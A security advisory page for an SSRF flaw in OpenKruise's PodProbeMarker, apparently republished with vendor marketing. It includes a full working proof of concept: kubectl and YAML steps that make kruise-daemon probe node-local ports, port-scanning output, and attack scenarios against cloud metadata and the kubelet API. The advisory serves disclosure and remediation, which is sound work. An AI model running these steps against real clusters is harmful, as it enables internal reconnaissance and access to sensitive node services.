GHSA-9fj4-3849-rv9g is a none-severity (CVSS 0) Server-Side Request Forgery (SSRF) vulnerability in github.com/openkruise/kruise. O3 Security confirms whether GHSA-9fj4-3849-rv9g is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
OpenKruise PodProbeMarker is Vulnerable to SSRF via Unrestricted Host Field
Real-World Exposure
github.com/openkruise/kruise🐹github.com/openkruise/kruiseReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
PodProbeMarker allows defining custom probes with TCPSocket or HTTPGet handlers. The webhook validation does not restrict the Host field in these probe configurations. Since kruise-daemon runs with hostNetwork=true, it executes probes from the node network namespace. An attacker with PodProbeMarker creation permission can specify arbitrary Host values (127.0.0.1, 169.254.169.254, internal IPs) to trigger SSRF from the node, perform port scanning, and receive response feedback through NodePodProbe status messages.
Kubernetes Version
- Kubernetes: v1.30.0 (kind cluster)
- Distribution: kind
Component Version
- OpenKruise: v1.8.0
- kruise-daemon: DaemonSet with hostNetwork=true
- Affected CRDs: PodProbeMarker, NodePodProbe
Steps To Reproduce
Environment Setup
- Install OpenKruise v1.8.0 in kind cluster:
helm repo add openkruise https://openkruise.github.io/charts/
helm install kruise openkruise/kruise --version 1.8.0 \
--namespace kruise-system --create-namespace
- Verify kruise-daemon runs with hostNetwork:
kubectl -n kruise-system get ds kruise-daemon -o yaml | grep hostNetwork
Output:
hostNetwork: true
- Create test namespace and RBAC:
kubectl apply -f - <<EOF
apiVersion: v1
kind: Namespace
metadata:
name: tenant-a
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: attacker
namespace: tenant-a
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: ppm-creator
namespace: tenant-a
rules:
- apiGroups: ["apps.kruise.io"]
resources: ["podprobemarkers"]
verbs: ["create","get","list","watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: ppm-creator-binding
namespace: tenant-a
subjects:
- kind: ServiceAccount
name: attacker
namespace: tenant-a
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: ppm-creator
EOF
- Deploy victim workload:
kubectl apply -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
name: victim
namespace: tenant-a
spec:
replicas: 1
selector:
matchLabels:
app: victim
template:
metadata:
labels:
app: victim
spec:
containers:
- name: victim
image: busybox:1.36
command: ["/bin/sh","-c","sleep 36000"]
EOF
Exploitation Steps
- Verify node-local port accessibility (kubelet healthz):
NODE_CONTAINER=$(docker ps --format '{{.Names}}' | grep control-plane)
docker exec $NODE_CONTAINER curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:10248/healthz
Output:
200
- Create SSRF PodProbeMarker targeting node-local port (as attacker):
kubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF
apiVersion: apps.kruise.io/v1alpha1
kind: PodProbeMarker
metadata:
name: ppm-tcp-ssrf
namespace: tenant-a
spec:
selector:
matchLabels:
app: victim
probes:
- name: tcp-ssrf
containerName: victim
podConditionType: ssrf.kruise.io/tcp
probe:
tcpSocket:
host: 127.0.0.1
port: 10248
timeoutSeconds: 2
periodSeconds: 5
EOF
Output:
podprobemarker.apps.kruise.io/ppm-tcp-ssrf created
- Wait for probe execution and observe SSRF result:
sleep 10
NODE_NAME=$(kubectl get nodes -o jsonpath='{.items[0].metadata.name}')
kubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 20 "ppm-tcp-ssrf"
Output:
name: ppm-tcp-ssrf#tcp-ssrf
probe:
tcpSocket:
host: 127.0.0.1
port: 10248
status:
podProbeStatuses:
- name: victim-8596ff64d6-jklnb
namespace: tenant-a
probeStates:
- lastProbeTime: "2026-01-13T17:48:10Z"
name: ppm-tcp-ssrf#tcp-ssrf
state: Succeeded
Evidence: Probe succeeded, confirming kruise-daemon accessed node-local port 127.0.0.1:10248 from node network namespace.
- Demonstrate port scanning capability (closed port):
kubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF
apiVersion: apps.kruise.io/v1alpha1
kind: PodProbeMarker
metadata:
name: ppm-tcp-closed
namespace: tenant-a
spec:
selector:
matchLabels:
app: victim
probes:
- name: tcp-closed
containerName: victim
podConditionType: ssrf.kruise.io/tcp-closed
probe:
tcpSocket:
host: 127.0.0.1
port: 9999
timeoutSeconds: 2
periodSeconds: 5
EOF
- Observe port scanning result:
kubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 5 "ppm-tcp-closed"
Output:
- lastProbeTime: "2026-01-13T17:51:08Z"
message: 'dial tcp 127.0.0.1:9999: connect: connection refused'
name: ppm-tcp-closed#tcp-closed
state: Failed
Evidence: Failed probe with "connection refused" message enables port state differentiation for scanning.
- Verify Pod condition and events:
VICTIM_POD=$(kubectl -n tenant-a get pod -l app=victim -o jsonpath='{.items[0].metadata.name}')
kubectl -n tenant-a describe pod $VICTIM_POD | grep -A 10 "Conditions:"
Output:
Conditions:
Type Status
ssrf.kruise.io/tcp True
ssrf.kruise.io/tcp-closed False
Events:
Normal KruiseProbeSucceeded 96s (x24 over 3m26s) kruise-daemon-podprobe
Source Code Evidence
- TCPSocket Host field used without restriction:
File: pkg/daemon/podprobe/prober.go
func (pb *prober) newTCPSocketProber(tcp *v1.TCPSocketAction, podIP string) tcpProber {
host := tcp.Host
if host == "" {
host = podIP
}
return tcpProber{
tcp: tcp,
host: host,
}
}
- Webhook validation does not check Host field:
File: pkg/webhook/podprobemarker/validating/probe_create_update_handler.go
func validateTCPSocketAction(tcp *corev1.TCPSocketAction, fldPath *field.Path) field.ErrorList {
return ValidatePortNumOrName(tcp.Port, fldPath.Child("port"))
}
Note: Only port validation, no Host restriction.
Attack Scenarios
Scenario 1 - Cloud metadata access:
probe:
tcpSocket:
host: 169.254.169.254
port: 80
Scenario 2 - Internal service discovery:
probe:
tcpSocket:
host: 10.0.0.1
port: 6379
Scenario 3 - Node-local kubelet API:
probe:
tcpSocket:
host: 127.0.0.1
port: 10250
Supporting Material/References
Verification Evidence
- kruise-daemon hostNetwork configuration:
$ kubectl -n kruise-system get ds kruise-daemon -o yaml | grep -A 2 "hostNetwork"
hostNetwork: true
restartPolicy: Always
- Successful SSRF to open port (127.0.0.1:10248):
status:
podProbeStatuses:
probeStates:
- name: ppm-tcp-ssrf#tcp-ssrf
state: Succeeded
- Port scanning result for closed port (127.0.0.1:9999):
status:
podProbeStatuses:
probeStates:
- message: 'dial tcp 127.0.0.1:9999: connect: connection refused'
name: ppm-tcp-closed#tcp-closed
state: Failed
- Pod condition reflecting probe results:
Conditions:
Type Status
ssrf.kruise.io/tcp True
ssrf.kruise.io/tcp-closed False
Impact Assessment
- Confidentiality: Medium-High. Access to node-local services, cloud metadata, internal network resources.
- Integrity: Low. Primarily information disclosure.
- Availability: Medium. Resource consumption from probe requests.
Limitations
HTTPGet probe rejected by webhook in OpenKruise v1.8.0:
Error: admission webhook denied the request: spec.probe.probe: Forbidden: current no support http probe
TCPSocket probe remains vulnerable.
Remediation
Temporary mitigation:
- Restrict PodProbeMarker creation permissions
- Apply network policies limiting kruise-daemon egress
- Audit existing PodProbeMarker resources
Permanent fix:
- Enforce Host field restrictions in webhook validation
- Deny private IP ranges (127.0.0.0/8, 10.0.0.0/8, 169.254.0.0/16)
- Require Host to be empty or equal to PodIP
- Sanitize error messages in NodePodProbe status
Verification Environment: kind v1.30.0 + OpenKruise v1.8.0
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/openkruise/kruise | ≥ 1.8.0&&< 1.8.3 | 1.8.3 |
| 🐹Go | github.com/openkruise/kruise | all versions | 1.7.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/openkruise/kruise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/openkruise/kruise to 1.8.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9fj4-3849-rv9g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9fj4-3849-rv9g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9fj4-3849-rv9g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9fj4-3849-rv9g in your dependencies?
O3 detects GHSA-9fj4-3849-rv9g across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.